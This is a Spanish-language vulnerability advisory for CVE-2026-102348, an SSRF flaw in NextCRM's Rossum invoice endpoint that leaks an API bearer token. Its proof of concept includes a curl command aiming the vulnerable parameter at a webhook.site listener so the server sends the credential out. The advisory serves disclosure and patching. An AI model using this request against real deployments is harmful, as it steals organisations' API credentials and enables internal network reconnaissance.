CVE-2026-102348: SSRF y fuga de credenciales en NextCRM
Se publicó el CVE-2026-102348, una vulnerabilidad de Server-Side Request Forgery (SSRF) con fuga de credenciales sensibles descubierta por Xavier Magallanes en NextCRM, en el endpoint de integración con Rossum.
| Identificador | CVE-2026-102348 |
|---|---|
| CVSS v3.1 | 9.1 CRÍTICO |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Versiones afectadas | nextcrm-app < 0.18.0 |
| Versión corregida | nextcrm-app v0.18.0 |
Resumen
Una vulnerabilidad de SSRF en el endpoint /api/invoice/rossum/get-rossum-embedded-url permite a atacantes autenticados forzar al servidor a realizar peticiones arbitrarias hacia infraestructura externa o interna. Como la aplicación adjunta automáticamente tokens de autenticación de la API (Bearer Token) a estas peticiones, la falla resulta en la filtración inmediata de las credenciales de la API de Rossum y habilita el reconocimiento de la red interna.
Detalles técnicos
La vulnerabilidad existe por una validación insuficiente del parámetro rossum_annotation_url dentro del cuerpo de la petición POST. La lógica del servidor consume esta URL proporcionada por el usuario para realizar una petición HTTP en el backend.
Al no validar adecuadamente el destino de la URL, un usuario autenticado (incluso con privilegios bajos) puede apuntar el parámetro hacia un servidor que controla, y el servidor vulnerable realizará la petición adjuntando el token de acceso a Rossum en las cabeceras.
Prueba de concepto
- Levantar un listener (por ejemplo, usando webhook.site o un servidor Node.js local) para capturar la petición.
- Autenticarse en el CRM y obtener un token de sesión válido (puede ser un usuario de bajo privilegio).
- Ejecutar el exploit con curl, apuntando
rossum_annotation_urlhacia el listener:
curl -X POST "http://localhost:3000/api/invoice/rossum/get-rossum-embedded-url" \
-H "Cookie: next-auth.session-token=<SESSION_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"rossum_annotation_url": "https://webhook.site/67b5bc24-e790-4608-a2af-e9ff6b0b337a"
}'
- Revisar el listener: se recibe una petición saliente del servidor vulnerable que incluye el Bearer Token de la API de Rossum.
Impacto
Un atacante puede obtener el token de la API de Rossum, lo que le otorga acceso completo a la información de la organización almacenada en el servicio Rossum. Entre las consecuencias:
- Filtración de credenciales — el Bearer Token de Rossum queda expuesto.
- Reconocimiento de red interna — el SSRF permite escanear y mapear servicios internos.
- Acceso a datos de la organización — el token filtrado da acceso a la información gestionada por Rossum.